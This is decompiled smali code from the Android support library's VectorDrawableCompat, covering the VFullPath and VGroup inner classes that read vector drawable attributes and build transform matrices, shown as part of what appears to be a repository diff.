.local v3, "pathData":Ljava/lang/String;
if-eqz v3, :cond_2
.line 1771
invoke-static {v3}, Landroid/support/graphics/drawable/PathParser;->createNodesFromPathData(Ljava/lang/String;)[Landroid/support/graphics/drawable/PathParser$PathDataNode;
move-result-object v5
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 1774
:cond_2
const-string v5, "fillColor"
const/4 v6, 0x1
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedColor(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;II)I
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
.line 1776
const-string v5, "fillAlpha"
const/16 v6, 0xc
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
.line 1778
const-string v5, "strokeLineCap"
const/16 v6, 0x8
invoke-static {p1, p2, v5, v6, v8}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedInt(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;II)I
move-result v1
.line 1780
.local v1, "lineCap":I
iget-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineCap:Landroid/graphics/Paint$Cap;
invoke-direct {p0, v1, v5}, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->getStrokeLineCap(ILandroid/graphics/Paint$Cap;)Landroid/graphics/Paint$Cap;
move-result-object v5
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineCap:Landroid/graphics/Paint$Cap;
.line 1781
const-string v5, "strokeLineJoin"
const/16 v6, 0x9
invoke-static {p1, p2, v5, v6, v8}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedInt(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;II)I
move-result v2
.line 1783
.local v2, "lineJoin":I
iget-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineJoin:Landroid/graphics/Paint$Join;
invoke-direct {p0, v2, v5}, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->getStrokeLineJoin(ILandroid/graphics/Paint$Join;)Landroid/graphics/Paint$Join;
move-result-object v5
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineJoin:Landroid/graphics/Paint$Join;
.line 1784
const-string v5, "strokeMiterLimit"
const/16 v6, 0xa
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeMiterlimit:F
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeMiterlimit:F
.line 1787
const-string v5, "strokeColor"
const/4 v6, 0x3
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedColor(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;II)I
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
.line 1789
const-string v5, "strokeAlpha"
const/16 v6, 0xb
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
.line 1791
const-string v5, "strokeWidth"
const/4 v6, 0x4
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
.line 1793
const-string v5, "trimPathEnd"
const/4 v6, 0x6
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
.line 1795
const-string v5, "trimPathOffset"
const/4 v6, 0x7
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
.line 1797
const-string v5, "trimPathStart"
const/4 v6, 0x5
iget v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
invoke-static {p1, p2, v5, v6, v7}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v5
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
goto/16 :goto_0
.end method
# virtual methods
.method public applyTheme(Landroid/content/res/Resources$Theme;)V
.locals 1
.param p1, "t" # Landroid/content/res/Resources$Theme;
.prologue
.line 1803
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mThemeAttrs:[I
if-nez v0, :cond_0
.line 1812
:cond_0
return-void
.end method
.method public canApplyTheme()Z
.locals 1
.prologue
.line 1735
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mThemeAttrs:[I
if-eqz v0, :cond_0
const/4 v0, 0x1
:goto_0
return v0
:cond_0
const/4 v0, 0x0
goto :goto_0
.end method
.method getFillAlpha()F
.locals 1
.prologue
.line 1857
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
return v0
.end method
.method getFillColor()I
.locals 1
.prologue
.line 1847
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
return v0
.end method
.method getStrokeAlpha()F
.locals 1
.prologue
.line 1837
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
return v0
.end method
.method getStrokeColor()I
.locals 1
.prologue
.line 1817
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
return v0
.end method
.method getStrokeWidth()F
.locals 1
.prologue
.line 1827
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
return v0
.end method
.method getTrimPathEnd()F
.locals 1
.prologue
.line 1877
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
return v0
.end method
.method getTrimPathOffset()F
.locals 1
.prologue
.line 1887
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
return v0
.end method
.method getTrimPathStart()F
.locals 1
.prologue
.line 1867
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
return v0
.end method
.method public inflate(Landroid/content/res/Resources;Landroid/util/AttributeSet;Landroid/content/res/Resources$Theme;Lorg/xmlpull/v1/XmlPullParser;)V
.locals 2
.param p1, "r" # Landroid/content/res/Resources;
.param p2, "attrs" # Landroid/util/AttributeSet;
.param p3, "theme" # Landroid/content/res/Resources$Theme;
.param p4, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.prologue
.line 1739
sget-object v1, Landroid/support/graphics/drawable/AndroidResources;->styleable_VectorDrawablePath:[I
invoke-static {p1, p3, p2, v1}, Landroid/support/graphics/drawable/VectorDrawableCommon;->obtainAttributes(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray;
move-result-object v0
.line 1741
.local v0, "a":Landroid/content/res/TypedArray;
invoke-direct {p0, v0, p4}, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->updateStateFromTypedArray(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;)V
.line 1742
invoke-virtual {v0}, Landroid/content/res/TypedArray;->recycle()V
.line 1743
return-void
.end method
.method setFillAlpha(F)V
.locals 0
.param p1, "fillAlpha" # F
.prologue
.line 1862
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
.line 1863
return-void
.end method
.method setFillColor(I)V
.locals 0
.param p1, "fillColor" # I
.prologue
.line 1852
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
.line 1853
return-void
.end method
.method setStrokeAlpha(F)V
.locals 0
.param p1, "strokeAlpha" # F
.prologue
.line 1842
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
.line 1843
return-void
.end method
.method setStrokeColor(I)V
.locals 0
.param p1, "strokeColor" # I
.prologue
.line 1822
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
.line 1823
return-void
.end method
.method setStrokeWidth(F)V
.locals 0
.param p1, "strokeWidth" # F
.prologue
.line 1832
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
.line 1833
return-void
.end method
.method setTrimPathEnd(F)V
.locals 0
.param p1, "trimPathEnd" # F
.prologue
.line 1882
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
.line 1883
return-void
.end method
.method setTrimPathOffset(F)V
.locals 0
.param p1, "trimPathOffset" # F
.prologue
.line 1892
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
.line 1893
return-void
.end method
.method setTrimPathStart(F)V
.locals 0
.param p1, "trimPathStart" # F
.prologue
.line 1872
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
.line 1873
return-void
.end method

Wyświetl plik

@ -0,0 +1,863 @@
.class Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
.super Ljava/lang/Object;
.source "VectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/VectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "VGroup"
.end annotation
# instance fields
.field mChangingConfigurations:I
.field final mChildren:Ljava/util/ArrayList;
.annotation system Ldalvik/annotation/Signature;
value = {
"Ljava/util/ArrayList",
"<",
"Ljava/lang/Object;",
">;"
}
.end annotation
.end field
.field private mGroupName:Ljava/lang/String;
.field private final mLocalMatrix:Landroid/graphics/Matrix;
.field private mPivotX:F
.field private mPivotY:F
.field mRotate:F
.field private mScaleX:F
.field private mScaleY:F
.field private final mStackedMatrix:Landroid/graphics/Matrix;
.field private mThemeAttrs:[I
.field private mTranslateX:F
.field private mTranslateY:F
# direct methods
.method public constructor <init>()V
.locals 3
.prologue
const/high16 v2, 0x3f800000 # 1.0f
const/4 v1, 0x0
.line 1378
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 1317
new-instance v0, Landroid/graphics/Matrix;
invoke-direct {v0}, Landroid/graphics/Matrix;-><init>()V
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mStackedMatrix:Landroid/graphics/Matrix;
.line 1321
new-instance v0, Ljava/util/ArrayList;
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mChildren:Ljava/util/ArrayList;
.line 1323
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
.line 1324
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
.line 1325
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
.line 1326
iput v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
.line 1327
iput v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
.line 1328
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
.line 1329
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
.line 1333
new-instance v0, Landroid/graphics/Matrix;
invoke-direct {v0}, Landroid/graphics/Matrix;-><init>()V
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
.line 1336
const/4 v0, 0x0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
.line 1379
return-void
.end method
.method public constructor <init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;Landroid/support/v4/util/ArrayMap;)V
.locals 8
.param p1, "copy" # Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
.annotation system Ldalvik/annotation/Signature;
value = {
"(",
"Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;",
"Landroid/support/v4/util/ArrayMap",
"<",
"Ljava/lang/String;",
"Ljava/lang/Object;",
">;)V"
}
.end annotation
.prologue
.local p2, "targetsMap":Landroid/support/v4/util/ArrayMap;, "Landroid/support/v4/util/ArrayMap<Ljava/lang/String;Ljava/lang/Object;>;"
const/high16 v7, 0x3f800000 # 1.0f
const/4 v6, 0x0
.line 1338
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 1317
new-instance v5, Landroid/graphics/Matrix;
invoke-direct {v5}, Landroid/graphics/Matrix;-><init>()V
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mStackedMatrix:Landroid/graphics/Matrix;
.line 1321
new-instance v5, Ljava/util/ArrayList;
invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mChildren:Ljava/util/ArrayList;
.line 1323
iput v6, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
.line 1324
iput v6, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
.line 1325
iput v6, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
.line 1326
iput v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
.line 1327
iput v7, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
.line 1328
iput v6, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
.line 1329
iput v6, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
.line 1333
new-instance v5, Landroid/graphics/Matrix;
invoke-direct {v5}, Landroid/graphics/Matrix;-><init>()V
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
.line 1336
const/4 v5, 0x0
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
.line 1339
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
.line 1340
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
.line 1341
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
.line 1342
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
.line 1343
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
.line 1344
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
.line 1345
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
.line 1346
iget-object v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mThemeAttrs:[I
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mThemeAttrs:[I
.line 1347
iget-object v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
.line 1348
iget v5, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mChangingConfigurations:I
iput v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mChangingConfigurations:I
.line 1349
iget-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
if-eqz v5, :cond_0
.line 1350
iget-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
invoke-virtual {p2, v5, p0}, Landroid/support/v4/util/ArrayMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
.line 1353
:cond_0
iget-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
iget-object v6, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
invoke-virtual {v5, v6}, Landroid/graphics/Matrix;->set(Landroid/graphics/Matrix;)V
.line 1355
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mChildren:Ljava/util/ArrayList;
.line 1356
.local v0, "children":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Ljava/lang/Object;>;"
const/4 v3, 0x0
.local v3, "i":I
:goto_0
invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
move-result v5
if-ge v3, v5, :cond_5
.line 1357
invoke-virtual {v0, v3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
move-result-object v1
.line 1358
.local v1, "copyChild":Ljava/lang/Object;
instance-of v5, v1, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
if-eqz v5, :cond_2
move-object v2, v1
.line 1359
check-cast v2, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
.line 1360
.local v2, "copyGroup":Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
iget-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mChildren:Ljava/util/ArrayList;
new-instance v6, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
invoke-direct {v6, v2, p2}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;Landroid/support/v4/util/ArrayMap;)V
invoke-virtual {v5, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
.line 1356
.end local v1 # "copyChild":Ljava/lang/Object;
.end local v2 # "copyGroup":Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
:cond_1
:goto_1
add-int/lit8 v3, v3, 0x1
goto :goto_0
.line 1362
.restart local v1 # "copyChild":Ljava/lang/Object;
:cond_2
const/4 v4, 0x0
.line 1363
.local v4, "newPath":Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
instance-of v5, v1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;
if-eqz v5, :cond_3
.line 1364
new-instance v4, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;
.end local v4 # "newPath":Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
check-cast v1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;
.end local v1 # "copyChild":Ljava/lang/Object;
invoke-direct {v4, v1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;)V
.line 1370
.restart local v4 # "newPath":Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
:goto_2
iget-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mChildren:Ljava/util/ArrayList;
invoke-virtual {v5, v4}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
.line 1371
iget-object v5, v4, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mPathName:Ljava/lang/String;
if-eqz v5, :cond_1
.line 1372
iget-object v5, v4, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mPathName:Ljava/lang/String;
invoke-virtual {p2, v5, v4}, Landroid/support/v4/util/ArrayMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
goto :goto_1
.line 1365
.restart local v1 # "copyChild":Ljava/lang/Object;
:cond_3
instance-of v5, v1, Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;
if-eqz v5, :cond_4
.line 1366
new-instance v4, Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;
.end local v4 # "newPath":Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
check-cast v1, Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;
.end local v1 # "copyChild":Ljava/lang/Object;
invoke-direct {v4, v1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;)V
.restart local v4 # "newPath":Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
goto :goto_2
.line 1368
.restart local v1 # "copyChild":Ljava/lang/Object;
:cond_4
new-instance v5, Ljava/lang/IllegalStateException;
const-string v6, "Unknown object in the tree!"
invoke-direct {v5, v6}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
throw v5
.line 1376
.end local v1 # "copyChild":Ljava/lang/Object;
.end local v4 # "newPath":Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
:cond_5
return-void
.end method
.method static synthetic access$200(Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;)Landroid/graphics/Matrix;
.locals 1
.param p0, "x0" # Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
.prologue
.line 1314
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mStackedMatrix:Landroid/graphics/Matrix;
return-object v0
.end method
.method static synthetic access$300(Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;)Landroid/graphics/Matrix;
.locals 1
.param p0, "x0" # Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;
.prologue
.line 1314
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
return-object v0
.end method
.method private updateLocalMatrix()V
.locals 4
.prologue
const/4 v3, 0x0
.line 1435
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
invoke-virtual {v0}, Landroid/graphics/Matrix;->reset()V
.line 1436
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
iget v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
neg-float v1, v1
iget v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
neg-float v2, v2
invoke-virtual {v0, v1, v2}, Landroid/graphics/Matrix;->postTranslate(FF)Z
.line 1437
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
iget v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
iget v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
invoke-virtual {v0, v1, v2}, Landroid/graphics/Matrix;->postScale(FF)Z
.line 1438
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
iget v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
invoke-virtual {v0, v1, v3, v3}, Landroid/graphics/Matrix;->postRotate(FFF)Z
.line 1439
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
iget v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
iget v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
add-float/2addr v1, v2
iget v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
iget v3, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
add-float/2addr v2, v3
invoke-virtual {v0, v1, v2}, Landroid/graphics/Matrix;->postTranslate(FF)Z
.line 1440
return-void
.end method
.method private updateStateFromTypedArray(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;)V
.locals 4
.param p1, "a" # Landroid/content/res/TypedArray;
.param p2, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.prologue
.line 1401
const/4 v1, 0x0
iput-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mThemeAttrs:[I
.line 1404
const-string v1, "rotation"
const/4 v2, 0x5
iget v3, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
invoke-static {p1, p2, v1, v2, v3}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v1
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
.line 1407
const/4 v1, 0x1
iget v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
invoke-virtual {p1, v1, v2}, Landroid/content/res/TypedArray;->getFloat(IF)F
move-result v1
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
.line 1408
const/4 v1, 0x2
iget v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
invoke-virtual {p1, v1, v2}, Landroid/content/res/TypedArray;->getFloat(IF)F
move-result v1
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
.line 1411
const-string v1, "scaleX"
const/4 v2, 0x3
iget v3, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
invoke-static {p1, p2, v1, v2, v3}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v1
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
.line 1415
const-string v1, "scaleY"
const/4 v2, 0x4
iget v3, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
invoke-static {p1, p2, v1, v2, v3}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v1
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
.line 1418
const-string v1, "translateX"
const/4 v2, 0x6
iget v3, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
